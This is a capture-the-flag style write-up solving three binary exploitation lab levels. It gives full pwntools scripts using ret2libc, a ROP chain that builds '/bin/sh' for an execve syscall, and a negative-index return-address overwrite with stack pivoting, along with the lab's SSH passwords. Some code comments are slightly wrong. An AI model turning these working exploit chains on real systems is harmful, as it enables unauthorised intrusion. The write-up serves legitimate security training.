21 Feb 2019
Find the vulnerability is trivial for this challenge and for the exploitation, you need to use the ret2libc technique. A helpful documentatiin can be found here.
In a first time, I need to control the EIP. With pnwtools, cyclic and cyclic_find, I quickly found that the good offset is 156. The next step is to find the address of the system functiin and an address of the /bin/sh string in the program. With gdb, I used the following command:
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e63190 <__libc_system>
gdb-peda$ searchmem /bin/sh
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xb7f83a24 ("/bin/sh")
Now, I need to build the stack like below:
|0xb7f83a24| <= "address of /bin/sh string"
|0x42424242| <= fake return adress
|0xb7e63190| <= address of system
|0x41414141| <= fake old %ebp
|other A...|
To do this, I used the following Python script:
#! /usr/bin/python2.7
# -*- coding: utf-8 -*-
from pwn import *
import re
s = ssh(host='192.168.1.104', user='lab5C', password='lab05start')
p = s.process('/levels/lab05/lab5C')
#p = process('lab5C')
print(p.recv())
pause()
#p.sendline(cyclic(200))
payload = p32(0xb7e63190)
payload += "BBBB"
payload += p32(0xb7f83a24)
p.sendline("A"*156 + payload)
p.interactive()
For this challenge, the dynamic libraries are not loaded so it is not possible to use the ret2libc. We need chained good gadgets to get a shell. But before, I need to find a place where I can write the string /bin/sh. I used the following command to find this:
readelf -S lab5B | grep .data
I used the section .data.rel.ro to write /bin/sh. The address of the beginning of this section is “080eaf80”.
To find the good gadget, I used ROPGadget. The tool is very trivial to use. For example, to find the gadget xor eax, eax; ret
, I used the following command:
python3 ROPgadget.py --binary /path/to/lab5B | grep "xor eax"
After this, I used the following script to get the shell:
#! /usr/bin/python2.7
# -*- coding: utf-8 -*-
from pwn import *
import re
s = ssh(host='192.168.1.104', user='lab5B', password='s0m3tim3s_r3t2libC_1s_3n0ugh')
p = s.process('/levels/lab05/lab5B')
#p = process('lab5B')
pause()
print(p.recv())
#p.sendline(cyclic(200))
payload = p32(0x0806ec5a) # pop edx ; ret
payload += p32(0x080eaf80) # address of the beginning of .data.rel.ro
# now edx contains the address of the beginning of .data.rel.ro
payload += p32(0x080bbf26) # pop eax ; ret
payload += ("/bin")
# now eax contains /bin
payload += p32(0x0809a95d) # mov dword ptr [edx], eax ; ret
# /bin is written in .data.rel.ro
payload += p32(0x0806ec5a) # pop edx ; ret
payload += p32(0x080eaf84) # address of the beginning of .data.rel.ro + 4
# now edx contains the address of the beginning of .data.rel.ro + 4
payload += p32(0x080bbf26) # pop eax ; ret
payload += ("//sh")
# now eax contains //sh
payload += p32(0x0809a95d) # mov dword ptr [edx], eax ; ret
# //sh is written in .data.rel.ro + 4
payload += p32(0x0806ec5a) # pop edx ; ret
payload += p32(0x080eaf88) # address of the beginning .data.rel.ro + 8
# now edx contains the address of the beginning of .data.rel.ro + 8
payload += p32(0x080544e0) # xor eax, eax ; ret
payload += p32(0x0809a95d) # mov dword ptr [edx], eax ; ret
# null byte is written in .data.rel.ro + 8
payload += p32(0x080481c9) # pop ebx ; ret
payload += p32(0x080eaf80) # the address of the beginning of .data.rel.ro
# now ebx point to the address of the beginning of .data.rel.ro
payload += p32(0x080e55ad) # pop ecx ; ret
payload += p32(0xffffffff)
payload += p32(0x080db234) # inc ecx ; ret
# because I dont find xor ecx,ecx; ret gadget, I used this trick to set ecx at 0
payload += p32(0x0806ec5a) # pop edx ; ret
payload += p32(0xffffffff)
payload += p32(0x0805d3c7) # inc ecx ; ret
# because I dont find xor edx,edx; ret gadget, I used this trick to set edx at 0
payload += p32(0x080544e0) # xor eax, eax ; ret
for i in range(11):
payload += p32(0x0807b6b6) # inc eax ; ret
#now eax contains 0xb
payload += p32(0x08049401) # int 0x80
p.sendline("A"*140 + payload)
p.interactive()
The program is the same as the lab3A except that the index range is now controlled and, of course, the NX protection is enabled. I check the difference between the code lab3A.c and lab5A.c and see one difference in line 22:
index = (int)get_unum();
The variable index is signed. It means I can enter a negative index and overwrite the RET address of the function store. After some test, I finally found that the good index to overwritte the RET address is -11. Now, I control the EIP and I need to return to the data buffer in order to chain my gadgets. So with ROPgadget, I find a gadget to stack pivoting:
0x08049bb7 : add esp, 0x2c ; ret
0x2c = 44 and 44/4 = 11. So the stack will point to data[1] and after, I just need to chain my gadgets. Of course, because I can’t write on the data cases which are divisible by three, I need to play with the gadgets more than with a classic ROP.
With the following script, I got a shell:
#! /usr/bin/python2.7
# -*- coding: utf-8 -*-
from pwn import *
import re
s = ssh(host='192.168.1.104', user='lab5A', password='th4ts_th3_r0p_i_lik3_2_s33')
p = s.process('/levels/lab05/lab5A')
# p = process('lab5A')
print(p.recv())
# --------------------------------
p.sendline("store")
print(p.recv())
# 134673360 = 0x0806f3d0 : pop edx (#2) ; pop ecx(#3) ; pop ebx(#4) ; ret(#5)
p.sendline("134673360")
print(p.recv())
p.sendline("1")
print(p.recv())
# --------------------------------
p.sendline("store")
print(p.recv())
# 135180384 = 0x080eb060 : address begin of .data
# edx contains the address begin of .data
p.sendline("135180384")
print(p.recv())
p.sendline("2")
print(p.recv())
# --------------------------------
p.sendline("store")
print(p.recv())
# 135160405 = 0x080e6255 : pop ecx(#6) ; ret(#7)
p.sendline("135160405")
print(p.recv())
p.sendline("5")
print(p.recv())
# --------------------------------
p.sendline("store")
print(p.recv())
# 134673361 = 0x0806f3d1 : pop ecx(#8); pop ebx(#9); ret(#10)
p.sendline("134673361")
print(p.recv())
p.sendline("7")
print(p.recv())
# --------------------------------
p.sendline("store")
print(p.recv())
# 1852400175 = 6E69622F => nib/
# ecx contains /bin
p.sendline("1852400175")
print(p.recv())
p.sendline("8")
print(p.recv())
# --------------------------------
p.sendline("store")
print(p.recv())
# 134566850 = 0x080553c2 : mov dword ptr [edx], ecx ; ret (#11)
# /bin is written on .data
p.sendline("134566850")
print(p.recv())
p.sendline("10")
print(p.recv())
# --------------------------------
p.sendline("store")
print(p.recv())
# 135160405 = 0x080e6255 : pop ecx(#12) ; ret(#13)
p.sendline("135160405")
print(p.recv())
p.sendline("11")
print(p.recv())
# --------------------------------
p.sendline("store")
print(p.recv())
# 134673360 = 0x0806f3d0 : pop edx (#14) ; pop ecx(#15) ; pop ebx(#16) ; ret(#17)
p.sendline("134673360")
print(p.recv())
p.sendline("13")
print(p.recv())
# --------------------------------
p.sendline("store")
print(p.recv())
# 135180388 = 0x080eb064 : address begin of .data + 4
# edx contains the address begin of .data + 4
p.sendline("135180388")
print(p.recv())
p.sendline("14")
print(p.recv())
# --------------------------------
p.sendline("store")
print(p.recv())
# 135160405 = 0x080e6255 : pop ecx(#18) ; ret(#19)
p.sendline("135160405")
p.sendline("17")
print(p.recv())
# --------------------------------
p.sendline("store")
# 134673361 = 0x0806f3d1 : pop ecx(#20); pop ebx(#21); ret(#22)
p.sendline("134673361")
print(p.recv())
p.sendline("19")
print(p.recv())
# --------------------------------
p.sendline("store")
# 1752379183 = 0x6E69622F : hs//
p.sendline("1752379183")
print(p.recv())
p.sendline("20")
print(p.recv())
# --------------------------------
p.sendline("store")
# 134566850 = 0x080553c2 : mov dword ptr [edx], ecx ; ret (#23)
# /bin is written on .data
p.sendline("134566850")
p.sendline("22")
print(p.recv())
# --------------------------------
p.sendline("store")
print(p.recv())
# 135160405 = 0x080e6255 : pop ecx(#24) ; ret(#25)
p.sendline("135160405")
p.sendline("23")
print(p.recv())
# --------------------------------
p.sendline("store")
print(p.recv())
# 134673360 = 0x0806f3d0 : pop edx (#26) ; pop ecx(#27) ; pop ebx(#28) ; ret(#29)
p.sendline("134673360")
p.sendline("25")
print(p.recv())
# --------------------------------
p.sendline("store")
print(p.recv())
# 135180392 = 0x080eb068 : address begin of .data + 8
# edx contains the address begin of .data + 8
p.sendline("135180392")
p.sendline("26")
print(p.recv())
# --------------------------------
p.sendline("store")
print(p.recv())
# 135160405 = 0x080e6255 : pop ecx(#30) ; ret(#31)
p.sendline("135160405")
p.sendline("29")
print(p.recv())
# --------------------------------
p.sendline("store")
print(p.recv())
# 134673361 = 0x0806f3d1 : pop ecx(#32); pop ebx(#33); ret(#34)
p.sendline("134673361")
p.sendline("31")
print(p.recv())
# --------------------------------
p.sendline("store")
# 134566850 = 0x080553c2 : mov dword ptr [edx], ecx ; ret (#35)
# \x00 is written on .data + 8
p.sendline("134566850")
p.sendline("34")
print(p.recv())
# --------------------------------
p.sendline("store")
# 135160405 = 0x080e6255 : pop ecx(#36) ; ret(#37)
p.sendline("135160405")
p.sendline("35")
print(p.recv())
# --------------------------------
p.sendline("store")
# 134673321 = 0x0806f3a9 : pop ebx(#38) ; pop edx(#39) ; ret(#40)
p.sendline("134673321")
p.sendline("37")
print(p.recv())
# --------------------------------
p.sendline("store")
# 135180384 = 0x080eb060 : address begin of .data
# now ebx point to the address begin of .data and edx=0
p.sendline("135180384")
p.sendline("38")
print(p.recv())
# --------------------------------
p.sendline("store")
# 0x08069bc1 : xor eax, eax ; pop esi(#41) ; pop edi(#42) ; ret(#43)
p.sendline("134650817")
p.sendline("40")
print(p.recv())
# --------------------------------
p.sendline("store")
# 0x0807be16 : inc eax ; ret(#44)
p.sendline("134725142")
p.sendline("43")
print(p.recv())
# --------------------------------
p.sendline("store")
# 135160405 = 0x080e6255 : pop ecx(#45) ; ret(#46)
# EAX: 0x1
# EBX: 0x80eb060 ("nib/hs//")
# ECX: 0x0
# EDX: 0x0
p.sendline("135160405")
p.sendline("44")
print(p.recv())
# --------------------------------
p.sendline("store")
# 0x0807be16 : inc eax ; ret(#47)
# EAX: 0x2
p.sendline("134725142")
p.sendline("46")
print(p.recv())
# --------------------------------
p.sendline("store")
# 0x0805d3b3 : inc eax ; pop edi(#48) ; ret(49)
# EAX: 0x3
p.sendline("134599603")
p.sendline("47")
print(p.recv())
# --------------------------------
p.sendline("store")
# 0x0807be16 : inc eax ; ret(#50)
# EAX: 0x4
p.sendline("134725142")
p.sendline("49")
print(p.recv())
# --------------------------------
p.sendline("store")
# 0x0805d3b3 : inc eax ; pop edi(#51) ; ret(#52)
# EAX: 0x5
p.sendline("134599603")
p.sendline("50")
print(p.recv())
# --------------------------------
p.sendline("store")
# 0x0807be16 : inc eax ; ret(#53)
# EAX: 0x6
p.sendline("134725142")
p.sendline("52")
print(p.recv())
# --------------------------------
p.sendline("store")
# 0x0805d3b3 : inc eax ; pop edi(#54) ; ret(#55)
# EAX: 0x7
p.sendline("134599603")
p.sendline("53")
print(p.recv())
# --------------------------------
p.sendline("store")
# 0x0807be16 : inc eax ; ret(#56)
# EAX: 0x8
p.sendline("134725142")
p.sendline("55")
print(p.recv())
# --------------------------------
p.sendline("store")
# 0x0805d3b3 : inc eax ; pop edi(#57) ; ret(#58)
# EAX: 0x9
p.sendline("134599603")
p.sendline("56")
print(p.recv())
# --------------------------------
p.sendline("store")
# 0x0807be16 : inc eax ; ret(#59)
# EAX: 0xA
p.sendline("134725142")
p.sendline("58")
print(p.recv())
# --------------------------------
p.sendline("store")
# 0x0805d3b3 : inc eax ; pop edi(#60) ; ret(#61)
# EAX: 0xB
p.sendline("134599603")
p.sendline("59")
print(p.recv())
# --------------------------------
p.sendline("store")
# 0x0806fa7f : nop ; int 0x80
p.sendline("134675071")
p.sendline("61")
print(p.recv())
# --------------------------------
# overwritte the EIP
p.sendline("store")
print(p.recv())
# 134519735 = 0x08049bb7 : add esp, 0x2c ; ret
p.sendline("134519735")
print(p.recv())
p.sendline("-11")
print(p.recv())
p.interactive()